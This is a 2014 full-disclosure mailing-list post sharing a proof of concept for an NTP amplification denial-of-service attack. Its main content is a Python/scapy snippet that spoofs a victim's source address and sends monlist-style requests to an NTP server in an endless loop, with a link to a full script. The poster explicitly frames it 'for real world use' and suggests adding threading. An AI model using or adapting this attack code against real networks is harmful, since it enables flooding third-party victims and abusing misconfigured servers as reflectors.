full-disclosure - [FD] A more robust POC for the ntp amplification dos

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Date: Wed, 16 Jul 2014 09:20:00 +0000
From: rai@...nmailbox.org
To: fulldisclosure@...lists.org
Subject: [FD] A more robust POC for the ntp amplification dos

Hi,

Even though, the ntp amplification attacks are old, and there are
plenty of scripts for checking if vulnerable (eg. the nmap nse script
ntp-mon), I had trouble finding a good example script that actually
exploited the vuln as would be done in the wild.

Eventually I edited a partially written script written by multiple
authors. Since it is in python, and uses scapy the key part exploit is
as simple as:

data = "\x17\x00\x03\x2a" + "\x00" * 4
...
packet = 
IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data)
send(packet,loop=1)

For real world use, just add some boilerplate threading to taste:

http://maker.fea.st/ntpamp.py

--
rai

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